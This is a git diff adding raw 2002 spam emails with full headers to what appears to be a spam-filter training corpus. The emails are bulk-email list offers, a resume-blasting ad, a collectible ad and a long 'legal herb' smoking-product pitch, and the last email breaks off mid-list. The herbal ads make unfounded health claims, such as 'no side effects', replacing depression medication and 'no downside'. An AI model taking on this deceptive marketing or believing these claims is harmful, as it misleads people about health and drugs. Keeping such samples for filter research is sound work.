<416-22002731723535377@user-bbxdmnnh9d> +From: "joe" +To: webmake-talk@example.sourceforge.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Subject: [WM] HOT BUISNESS OPPORTUNITY WANT TO MAKE MONEY? +Sender: webmake-talk-admin@example.sourceforge.net +Errors-To: webmake-talk-admin@example.sourceforge.net +X-Beenthere: webmake-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion of WebMake. +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 17 Jul 2002 19:53:53 -0400 +Date: Wed, 17 Jul 2002 19:53:53 -0400 +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6HNsHJ00972 +Content-Transfer-Encoding: 8bit + +WANT TO MAKE MONEY? + +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +HOT BUSINESS OPPERTUNITY AVAILABLE +fOR THOSE WHO QUALIFY... + +1. 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OK, it can be +downright PROFITABLE. If done right. + +Imagine sending your sales letter to one million, two million, ten million or more prospects during +the night. Then waking up to sales orders, ringing phones, and an inbox full of freshly qualified +leads. + +We've been in the email business for over seven years now. + +Our lists are large, current, and deliverable. We have more servers and bandwidth than we currently +need. That's why we're sending you this note. We'd like to help you make your email marketing +program more robust and profitable. + +Please give us permission to call you with a proposal custom tailored to your business. Just fill out +this form to get started: + +Name _______________________ + +Email Address ________________ + +Phone Number ________________ + +URL or Web Address ___________ + +I think you'll be delighted with the bottom line results we'll deliver to your company. + +Click Here: mailto:batch1@btamail.net.cn?subject=Inquiry-Including-Contact-Info + +Thank You! + +Remove requests Click Here: mailto:batch1@btamail.net.cn?subject=remove-b2b-list + + + + + +licatdcknjhyynfrwgwyyeuwbnrqcbh + + diff --git a/bayes/spamham/spam_2/00733.095d8b33e938efa091f1771c622986c9 b/bayes/spamham/spam_2/00733.095d8b33e938efa091f1771c622986c9 new file mode 100644 index 0000000..c40db81 --- /dev/null +++ b/bayes/spamham/spam_2/00733.095d8b33e938efa091f1771c622986c9 @@ -0,0 +1,74 @@ +From vjli_Jbfun8575@mail.com Thu Jul 18 03:08:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 594E343F9E + for ; Wed, 17 Jul 2002 22:08:16 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 18 Jul 2002 03:08:16 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6I23cJ17381 for + ; Thu, 18 Jul 2002 03:03:38 +0100 +Received: from 218.5.180.50 (www.womengolfwear.com [216.160.122.114] (may + be forged)) by webnote.net (8.9.3/8.9.3) with SMTP id DAA16629 for + ; Thu, 18 Jul 2002 03:03:34 +0100 +Message-Id: <200207180203.DAA16629@webnote.net> +Received: from [195.98.27.144] by web13708.mail.yahoo.com with smtp; + Jul, 17 2002 6:46:13 PM +0600 +Received: from unknown (HELO mail.gmx.net) (78.165.116.169) by + smtp4.cyberec.com with smtp; Jul, 17 2002 5:47:08 PM +0600 +Received: from ssymail.ssy.co.kr ([115.212.44.160]) by hd.regsoft.net with + asmtp; Jul, 17 2002 4:51:07 PM -0700 +Received: from unknown (6.61.10.17) by rly-xr02.mx.aol.com with NNFMP; + Jul, 17 2002 3:39:14 PM -0300 +From: any__Web-Biz-no-LTD +To: yyyy-sa-listinfo@spamassassin.taint.org +Cc: +Subject: Increase Your Business Sales NOW adv mnbfa +Sender: any__Web-Biz-no-LTD +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Wed, 17 Jul 2002 18:59:19 -0700 +X-Mailer: Microsoft Outlook Build 10.0.2616 +X-Priority: 1 + +Email marketing - if done right - is both highly effective and amazingly cost effective. OK, it can be +downright PROFITABLE. If done right. + +Imagine sending your sales letter to one million, two million, ten million or more prospects during +the night. Then waking up to sales orders, ringing phones, and an inbox full of freshly qualified +leads. + +We've been in the email business for over seven years now. + +Our lists are large, current, and deliverable. We have more servers and bandwidth than we currently +need. That's why we're sending you this note. We'd like to help you make your email marketing +program more robust and profitable. + +Please give us permission to call you with a proposal custom tailored to your business. Just fill out +this form to get started: + +Name _______________________ + +Email Address ________________ + +Phone Number ________________ + +URL or Web Address ___________ + +I think you'll be delighted with the bottom line results we'll deliver to your company. + +Click Here: mailto:batch1@btamail.net.cn?subject=Inquiry-Including-Contact-Info + +Thank You! + +Remove requests Click Here: mailto:batch1@btamail.net.cn?subject=remove-b2b-list + + + + + +vkmoitjkwtwgpxprfmsmqeywcuar + + diff --git a/bayes/spamham/spam_2/00734.0c1975b8c2b17fd6c665827706f89eaf b/bayes/spamham/spam_2/00734.0c1975b8c2b17fd6c665827706f89eaf new file mode 100644 index 0000000..6351cd5 --- /dev/null +++ b/bayes/spamham/spam_2/00734.0c1975b8c2b17fd6c665827706f89eaf @@ -0,0 +1,154 @@ +From steveadler@allexecs.com Mon Jul 22 18:43:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ACCC5440CD + for ; Mon, 22 Jul 2002 13:43:47 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:43:47 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQP403415 for + ; Mon, 22 Jul 2002 18:26:27 +0100 +Received: from allexecs.com ([211.167.175.17]) by webnote.net + (8.9.3/8.9.3) with ESMTP id NAA23418 for ; + Sat, 20 Jul 2002 13:04:41 +0100 +Received: from allexecs.com (mail [127.0.0.1]) by allexecs.com + (8.12.2/8.12.2) with SMTP id g6I2lAMt030846 for ; + Thu, 18 Jul 2002 10:47:10 +0800 +Message-Id: <200207180247.g6I2lAMt030846@allexecs.com> +Date: Thu, 18 Jul 2002 10:47:10 +0800 +From: Steve Adler +Subject: Proven way to get a job.... +To: yyyy-cv@spamassassin.taint.org +MIME-Version: 1.0 +X-Cidl: 5625291J +Content-Type: multipart/mixed; boundary="----ack1234" + + + +------ack1234 +Content-Type: multipart/alternative; boundary="----alt_border_1" + +------alt_border_1 +Content-Type: text/plain; charset="ISO-8859-1" +Content-Transfer-Encoding: quoted-printable + +Greetings! + +One of the best ways land a new job quickly, especially in a +tight job market, is to email your resume to as many +recruiters as possible that work in your area and specialize +in people with your skills. + +However, finding these recruiters and sending them each an +email can be an enormous amount of work. Many have +successfully used ResumeMailman.com to email their resume to +1000's of these recruiters instantly! + +This service has exceptional recruiter targeting, long +standing experience, and a great reputation with a huge group +of quality recruiters. + +ResumeMailman network recruiters have connections to tons +of unadvertised jobs. Your resume is instantly emailed to 1000's +of recruiters in your selected areas, specializing in your +selected skill sets. + +The whole process can be completed in about 10 minutes flat! +You can even get a free confidential email address with your +order AND receive a contact list of all the recruiters who +received your resume! + +Just check out: +http://www.allexecs.com/offers/deal/02-07-17-1.html - it's easy. + +Since 1998 ResumeMailman.com's resume distribution engine has +helped tens of 1000's of people distribute their resume and +get jobs. Why not let them do the same for you. + +Sincerely, + + +Steve Adler +steveadler@allexecs.com + + +========================================================= + +The staff of AllExecs.com have years of recruiting +experience and may from time to time send you a review of +career tips and tools that have helped others in their job +search. If you'd rather not receive these reviews go to +http://www.allexecs.com/unsubscribe + +========================================================= +------alt_border_1 +Content-Type: text/html; charset="ISO-8859-1" + + + + + +Allexecs.com + + + + +

    Greetings!
    +
    +One of the best ways land a new job quickly, especially in a
    +tight job market, is to email your resume to as many
    +recruiters as possible that work in your area and specialize
    +in people with your skills.
    +
    +However, finding these recruiters and sending them each an
    +email can be an enormous amount of work. Many have
    +successfully used ResumeMailman.com to email their resume to
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    +This service has exceptional recruiter targeting, long 
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    +Since 1998 ResumeMailman.com's resume distribution engine has
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    +Sincerely,
    +
    +
    +Steve Adler
    +steveadler@allexecs.com
    +
    +
    +=========================================================
    +
    +The staff of AllExecs.com have years of recruiting 
    +experience and may from time to time send you a review of
    +career tips and tools that have helped others in their job
    +search. If you'd rather not receive these reviews go to
    +http://www.allexecs.com/unsubscribe
    + +
    +=========================================================

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    + This Innovative New Collectible is the First to Display an Authentic One of Kind 70mm Film Frame From + the Star Wars/Empire Strikes Back Movie
    + containing a One of a Kind 70mm Frame in a 7-1/2" x 2-3/4" Diamond Cut, Acrylic, +
    Mint Collector's Case. +

    + FACT: NO TWO FRAMES ARE ALIKE
    + Each Film Frame Is A Unique Original and Will Never Be Reproduced. +
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    HURRY! Please, respond now before our limited supplies are exhausted!! +
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    + You have received this email as an opted-in subscriber, if this is not the case, please click on the following link + to be permanently removed from our database. + Please take me off this list +

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    + + + + +------=_NextPart_943_7386722343340587207363271782623-- + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00741.00c61b5577b6fa232434c2ae62d52394 b/bayes/spamham/spam_2/00741.00c61b5577b6fa232434c2ae62d52394 new file mode 100644 index 0000000..325c7d3 --- /dev/null +++ b/bayes/spamham/spam_2/00741.00c61b5577b6fa232434c2ae62d52394 @@ -0,0 +1,263 @@ +From fddgl@dcs.rhbnc.ac.uk Wed Jul 17 23:38:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6F24843F90 + for ; Wed, 17 Jul 2002 18:38:50 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 17 Jul 2002 23:38:50 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6HMTWJ28996 for + ; Wed, 17 Jul 2002 23:29:32 +0100 +Received: from webserver.unired (mail.ctarlalibertad.gob.pe + [200.48.54.194]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g6HMTRR22467 for ; Wed, 17 Jul 2002 23:29:28 +0100 +Message-Id: <200207172229.g6HMTRR22467@mandark.labs.netnoteinc.com> +Received: from enlaces.ufro.cl (host2-255.pool212131.interbusiness.it + [212.131.255.2]) by webserver.unired with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2650.21) id PDCHB845; Wed, + 17 Jul 2002 17:31:03 -0500 +To: +From: "Cheech" +Subject: Legal herb, anytime +Date: Wed, 17 Jul 2002 15:36:39 -1900 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit + +**************************** +Now Open Seven Days A Week! +Call 1-623-974-2295 +**************************** + +>>From the ethnobotanical herbalists who brought the herba supplementals; Kathmandu Temple Kiff “1” & “2” “Personal-Choice”, pipe-smoking products/substances to the common market!!! + +We are finally able to offer for your “Sensitive/Responsive”, “Personal Choice” Smoking Enjoyment….the “Seventh Heaven” Temple “3” Ragga Dagga (TM) Pipe-Smoking Substance Supplemental Product…. Introduced after three years of research and development; Temple “3” is “Personal Choice” legal Smoking/Indulgence….Redefined!!! + +Thanks to recent, dramatic, technological advances in the laboratorial processes for the extraction of alkaloid and glycocide supplements from botanicals/herbas/plant matter, we are now able to offer….in more cultivated/enhanced/viripotent/substantiated format….what had actually already been the most significant, lawful, “Personal Choice” smoking substance available on the planet…. “Seventh Heaven” Temple “3” Ragga Dagga (TM) is the sweet, sweet evolution of all of that…. + +* A 20 X MORE VIRIPOTENT HERBA SUPPLEMENT THAN ITS PREDESSORS (TEMPLE “1” & “2”). + +* HAPPIER, HAPPY SMOKING!!! + +* INDEED, A DEPRESSIVE REGRESSIVE, SUPPLEMENTAL MOOD-ENHANCER. + +* MORE SOPHISTICATED, UPLIFTING & POISED THAN ILLEGAL SMOKING SUBSTANCES. + +* NO REGULATION, NO ILLEGALITY, NO FAILED DRUG TESTS!!! + +* INHIBITS STRESS AND ANXIETY…. + +* INSPIRES CONTEMPLATIVENESS & CREATIVITY…. + +* ENHANCES THE SEXUAL EXPERIENCE!!! + +* GENERATES MORE RESTFUL SLEEP & LUCID DREAMING…. + +* A SIGNIFICANT HERBA / BOTANICAL SUPPLEMENT IN THE BATTLES AGAINST DRUG AND ALCOHOL DEPENDENCE!!!! + +* EASILY IGNITED & STOKED. + +* SMOKES SWEETLY! + +* ABSOLUTELY LEGAL / NON-INVASIVE / NO DOWNSIDE!!! + +* LINGERS FOR A GOOD, GOODLY WHILE! + +* POSSESSES MANY FINE GANJA VIRTUES WITH NONE OF THE NEGATIVES!!! + +* JUST A LITTLE SNIPPET / PINCH GOES A LONG, LONG WAY….JUST 4 OR 5 DRAWS OF YOUR PIPE (A traditional hand herb-pipe is included with each package of Ragga Dagga). + +Temple “3” Ragga Dagga (TM) is an exclusive, botanical/herba, proprietary; Nepalesian formulated, ultra-“Sensitive/Responsive”, pipe-smoking/stoking substance and is undoubtedly the most prestigious, legal offering of its sort on the planet!!! + +So smokin/stokin potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. + +ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! + +A one-of-a-kind, proprietary amalgamation, comprised of extreme high-ratio concentrated extracts which are derived from various common and uncommon “sensitive/responsive” herbas primarily cultivated within and imported from the southern and eastern hemispheres; Temple “3” Ragga Dagga (TM) high-ratio factored botanical extractions are master-crafted into solid jiggets/bars which are structurally reminiscent of what one might find in the “happiness” coffee and tea houses of Nepal/Kathmandu/Amsterdam and in many aspects, possesses a more collected and more focused, less scattered ambiance. + +Ingredients: + +Temple smoking substances and Temple “3” Ragga Dagga (TM) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES “House Smoking Substance Specialties”. Temple “3” Ragga Dagga (TM) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple “3” Ragga Dagga (TM) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshu! +ra cuttings. + +Please Note: Temple “3” Ragga Dagga (TM) is an absolutely legal, herba/botanical, “Personal Choice”, pipe-smoking substantiality product!!! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple “3” Ragga Dagga (TM). There is certainly no cannabis/marijuana in Temple “3” Ragga Dagga (TM)…. And although we are not age-governed by law….Temple “3” Ragga Dagga (TM) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Temple “3” Ragga Dagga (TM) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. All things in their time…. As well, Temple “3” Ragga Dagga (TM) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physician’s care in any regard. + +======================================================== +Here is what our customers are saying about the Temple “3” Ragga Dagga (TM) phenomenon: + +“To whom it may concern, + +I was skeptical when I first read your ad. I grew up in the 70’s & 80’s. I was a hard core (alternative smoker) then. So I knew my stuff. But drug tests stopped that! Now I am disabled from a degenerative muscle, ligament, and tendon disease. I was smoking (an illegal product) for the pain and nausea. Now I have something just as good; Temple 3, but cheaper, and it is legal! I also have a lot of trouble sleeping, but the Capillaris Herba made into tea works and smells great! Your products that I tried so far, are as good or better than your ads say! That is hard to find nowadays in a company. Who ever put this stuff together is a botanical genius. I will be a customer for life! Also, I talked with a lady on the phone when I was ordering, and asked her to find out if I could get my products and samples to hand out for free. And just send the customers to you. Or get a discount on products that I could sell retail to people. I would prefer the earlier one becau! +se, I can just talk about your products, I am a great salesman (about 10 years experience), I could hand out flyers, give out little 1 gram pieces as samplers with your business card enclosed, etc.. I am going to be unable to work a regular job for a while, maybe indefinitely? This deal would give me my own products and samples for free? You would get free advertising, word of mouth, samples into peoples hands to try, someone that is very good with computers, someone who studied about mail order, Internet, cold calling, small business, good with people, etc.. I would like to be doing something, even if I would get on Social Security Disability. It is very disheartening not being able to work to support my 2 teenage boys, or do a lot of the things I used to do! At least I would be able to do something worthwhile. And great products makes it real easy to sell. Let me know what you think? + +Sincerely, + +RJ” + +Location: Midwest, U.S.A. + +“Thank you so much for the Ragga. It is everything you guys claim, and then some! I was a bit skeptical when I read your description of its effects, but there is literally no exaggeration in your advertisements. How nice that this is non-prohibited! It tastes great and feels great too! I am so glad I took a chance and ordered. Blessings to all of you.” + +-- Frankie R. + +Location: West Coast, USA + +“I’m a man of my 40’s and I really know my stuff. I don’t drink or do illegal drugs anymore and have found a much more spiritual path. I used to have to take Valium in the past. Not anymore with the Temple “3”. It really amazes me how this stuff tastes like the Lebanese and blonde stuff I used to smoke in the 70’s. I am very satisfied with all of your products. I like them a lot and will be a customer for life for sure. Whoever makes this stuff is an ARTIST at it. Who would have thought?!” + +-- A.J. + +Location: United Kingdom +======================================================== +Finally, we realize of course that this Temple “3” Ragga Dagga (TM) is not inexpensive…. (Temple “3” Ragga Dagga (TM) is a very, very Sweet Smoke and “sweetness” is never acquired inexpensively. Such is the way of the Economic Tao....), nor, as a matter of fact, is it inexpensive for us to acquire, factor or master-craft…. Quite simply, it is the very best of its Kind that there is to be acquired. Just a snippet/pinch of this Temple “3” Ragga Dagga (TM)…. Four or five draws of your pipe….as is the magical way….lingers for a good, goodly while!!! (An herb pipe and usage instructions are included with each Temple “3” Ragga Dagga (TM) Package.) + +“Seventh Heaven” Temple “3” Ragga Dagga (TM) is offered exclusively in 56 gram (2 oz.) and 22 gram (.75 oz.) jiggets/bars for $115.00 and $65.00 respectively. Sorry, no volume discounts. Wholesale pricing is available to qualified, select merchants only. + +************************************************************ +Our other fine herbal, botanical products include the following: + +1. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. + +2. "Seventh Heaven" Prosaka Tablets (tm); a botanical alternative to pharmaceutical medications for calm, balance, serenity and joyful living... + +3. "Seventh Heaven" Gentle Ferocity Tablets (tm); a most efficacious, non-caffeine, non-ephedrine, non-MaHuang botanical energizer and cutting-edge appetite suppressant... + +4. Extreme Martial Arts Botanical Remedies; Equivalence Tablets & Dragon Wing Remedy Spray ... pain management that works to alleviate pain even for arthritis and fibromyalgia sufferers... +********************************************* + +Sweet Vjestika Aphrodisia Drops (tm) inspires and enhances: + +* Extreme body sensitivity +* Sensitivity to touch +* Desire to touch and be touched +* Fantasy, lust, rapture, erogenous sensitivity ... +* Prolongs and intensifies foreplay, orgasm & climax +********************************************* + +"Seventh Heaven" Prosaka Tablets ... + +Entirely natural, proprietary, botanical prescription comprised of uncommon Asian Herbs for Calm, Balance, Serenity and Joyful Living. "Seventh Heaven" Prosaka is indeed a most extraordinary, viripotent, calming, centering, mood-enhancing, holistically-formulated, exotic herbaceous alternative to pharmaceutical medications for depression, anxiety, stress, insomnia, etc. + +NO side effects! NO dependency! Vivaciously Mellow! +********************************************** + +"Seventh Heaven" Gentle Ferocity Tablets (tm) ... + +a non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; viripotent, herbaceous prescription for the dynamic energization of body, mind and spirit. + +This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! + +For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal "diet aids" entitled as "Thermogenics" ... this is ABSOLUTELY the herbal agenda/product for you!! + +Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! +*********************************************** + +Extreme Martial Arts Botanical Remedies + +Eastern culture has long had a treatment for bone, muscle, tendon, ligament, sinew and joint distress, traumas, afflictions and constrictions. We are pleased to offer + + Equivalence Tablets & Dragon Wing Remedy Spray + (Hei Ping Shun) (Hei Long Chibang) + +PLEASE NOTE: + +While it is true that all physiological traumas and injuries are unique and that no product can arbitrarily eliminate all of the pain and discomfort in all people all of the time, the combination of Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy (Hei Long Chibang) remedial botanicals does guarantee to at the least: + +1. Significantly reduce discomfort and pain! +(In many instances most, if not all, traumas and distress can be eliminated!) + +2. Significantly increase mobility and strength ratio. +(Please remember also the significance of proper diet, excercise, rest and prayer.) + +Equivalence Tablets & Dragon Wing Spray Remedials are comprised of entirely natural botanical factors. + +While Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy Spray (Hei Long Chibang) are extremely effective individually, they are utilized to maximum advantage when used in conjunction with one another. + +======================================================== +!!!!Please refer to Introductory Offers further on in this text featuring Temple “3” Ragga Dagga (TM) along with our other “very fine” “Sensitive/Responsive” cordial botanical products…. Please enjoy!!! Many Blessings to you all…. +======================================================== + +PRICING INFORMATION: + +1. SEVENTH HEAVEN Seventh Heaven Temple 3 (tm) +One .75 oz. jigget/bar $65.00 +One 2.0 oz. jigget/bar $115.00 (Free Capillaris Herba with 2.0 oz. bar. Refer to Capillaris paragraph at end of text) + +2. SWEET VJESTIKA APHRODISIA DROPS (tm) +One 1.0 oz. bottle $90.00 +Two 1.0 oz. bottles $140.00 + +3. SEVENTH HEAVEN PROSAKA (tm) +One 100 tablet tin $40.00 +Three 100 tablet tins $105.00 +Six 100 tablet tins $185.00 + +4. SEVENTH HEAVEN GENTLE FEROCITY (tm) +One 300 tablet jar $130.00 + +5. Equivalence Tablets - Each bottle contains 90 - 500mg tablets. +** 3-pack (270 tablets) $83.00 +** 6-pack (540 tablets) $126.00 (save $40.00) +** 9-pack (810 tablets) $159.00 (save $90.00) +** 12-pack (1,080 tablets) $192.00 (save $140.00) + +6. Dragon Wing Spray Remedy - Each spray bottle contains 4 liquid oz. +** 3-pack (3 - 4 oz. bottles) $83.00 +** 6-pack (6 - 4 oz. bottles) $126.00 (save $40.00) +** 9-pack (9 - 4 oz. bottles) $159.00 (save $90.00) +** 12-pack (12 - 4 oz. bottles) $192.00 (save $140.00) + +7. Dynamic Duo Introductory Offers +** 3-pack Equivalence Tabs & 3-pack Dragon Wing $126.00 (save $40.00) +** 6-pack Equivalence Tabs & 3-pack Dragon Wing $159.00 (save $50.00) +** 9-pack Equivalence Tabs & 6-pack Dragon Wing $215.00 (save $70.00) +** 12-pack Equivalence Tabs & 9-pack Dragon Wing $271.00 (save $80.00) + +8. SWEET APHRODISIA INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & one, 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. For $150.00 (Reg. $205.00 Save $55) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +9. BODY, MIND, SPIRIT "HEAVENLY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka. For $125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +10. "PURE ENERGY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity. For $170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) + +11. "SENSITIVE" PREFERENTIAL INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity For $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +12. ULTIMATE HERBACEOUSNESS INTRO COMBINATION OFFER +Includes one - 2.0 oz. jigget / bar of Seventh Heaven Temple 3, one - 1 oz. bottle of Sweet Vjestika Aphrodisia Drops, one - 100 tablet tin of Prosaka, and one - 300 count jar of Gentle Ferocity for a deep discounted Retail Price of $260.00 (Reg. $375.00 Save $115) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +SPECIAL OFFER: For a limited time only, you will receive a FREE personal brass hookah with the Ultimate Herbaceous Intro Offer as our gift to you. This hookah has a retail value of $25.00. + + +************************************************** + +ORDERING INFORMATION: +For your convenience, you can call us direct with your orders or questions. + +Don't forget to ask for the 2 for 1 Weekend Special!! + Special good July 6&7, 2002 ONLY +Call 1-623-974-2295 +7 Days a Week -- 10:30 AM to 7:00 PM (Mountain Time) + +For all domestic orders, add $6.00 shipping & handling (shipped U.S. Priority Mail). Add $20.00 for International orders. + +************************************************** + +SPECIAL DISCOUNT & GIFT + +Call now and receive a FREE botanical gift! With every order for a 2.0 oz. jigget / bar of Seventh Heaven Temple 3 or one of our four (4) Intro Combination Offers, we will include as our free gift to you ... a 2.0 oz. package of our ever so sedate, sensitive Asian import, loose-leaf Capillaris Herba for "happy" smoking or brewing ... (a $65.00 retail value). + +==================================================== + + +To remove your address from our list, click "Reply" in your email software and type "Remove" in the subject field, then send. + + + + + + + diff --git a/bayes/spamham/spam_2/00742.2700b00dc2dcc121ee0a1322040de188 b/bayes/spamham/spam_2/00742.2700b00dc2dcc121ee0a1322040de188 new file mode 100644 index 0000000..811e858 --- /dev/null +++ b/bayes/spamham/spam_2/00742.2700b00dc2dcc121ee0a1322040de188 @@ -0,0 +1,263 @@ +From fddgl@dcs.rhbnc.ac.uk Thu Jul 18 14:16:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 915CC43F90 + for ; Thu, 18 Jul 2002 09:16:24 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 18 Jul 2002 14:16:24 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6IDB0J28140 for + ; Thu, 18 Jul 2002 14:11:02 +0100 +Received: from webserver.unired (mail.ctarlalibertad.gob.pe + [200.48.54.194]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g6IDA3R23674 for ; Thu, 18 Jul 2002 14:10:22 +0100 +Message-Id: <200207181310.g6IDA3R23674@mandark.labs.netnoteinc.com> +Received: from enlaces.ufro.cl (host2-255.pool212131.interbusiness.it + [212.131.255.2]) by webserver.unired with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2650.21) id PDCHB845; Wed, + 17 Jul 2002 17:31:03 -0500 +To: +From: "Cheech" +Subject: Legal herb, anytime +Date: Wed, 17 Jul 2002 15:36:39 -1900 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit + +**************************** +Now Open Seven Days A Week! +Call 1-623-974-2295 +**************************** + +>>From the ethnobotanical herbalists who brought the herba supplementals; Kathmandu Temple Kiff “1” & “2” “Personal-Choice”, pipe-smoking products/substances to the common market!!! + +We are finally able to offer for your “Sensitive/Responsive”, “Personal Choice” Smoking Enjoyment….the “Seventh Heaven” Temple “3” Ragga Dagga (TM) Pipe-Smoking Substance Supplemental Product…. Introduced after three years of research and development; Temple “3” is “Personal Choice” legal Smoking/Indulgence….Redefined!!! + +Thanks to recent, dramatic, technological advances in the laboratorial processes for the extraction of alkaloid and glycocide supplements from botanicals/herbas/plant matter, we are now able to offer….in more cultivated/enhanced/viripotent/substantiated format….what had actually already been the most significant, lawful, “Personal Choice” smoking substance available on the planet…. “Seventh Heaven” Temple “3” Ragga Dagga (TM) is the sweet, sweet evolution of all of that…. + +* A 20 X MORE VIRIPOTENT HERBA SUPPLEMENT THAN ITS PREDESSORS (TEMPLE “1” & “2”). + +* HAPPIER, HAPPY SMOKING!!! + +* INDEED, A DEPRESSIVE REGRESSIVE, SUPPLEMENTAL MOOD-ENHANCER. + +* MORE SOPHISTICATED, UPLIFTING & POISED THAN ILLEGAL SMOKING SUBSTANCES. + +* NO REGULATION, NO ILLEGALITY, NO FAILED DRUG TESTS!!! + +* INHIBITS STRESS AND ANXIETY…. + +* INSPIRES CONTEMPLATIVENESS & CREATIVITY…. + +* ENHANCES THE SEXUAL EXPERIENCE!!! + +* GENERATES MORE RESTFUL SLEEP & LUCID DREAMING…. + +* A SIGNIFICANT HERBA / BOTANICAL SUPPLEMENT IN THE BATTLES AGAINST DRUG AND ALCOHOL DEPENDENCE!!!! + +* EASILY IGNITED & STOKED. + +* SMOKES SWEETLY! + +* ABSOLUTELY LEGAL / NON-INVASIVE / NO DOWNSIDE!!! + +* LINGERS FOR A GOOD, GOODLY WHILE! + +* POSSESSES MANY FINE GANJA VIRTUES WITH NONE OF THE NEGATIVES!!! + +* 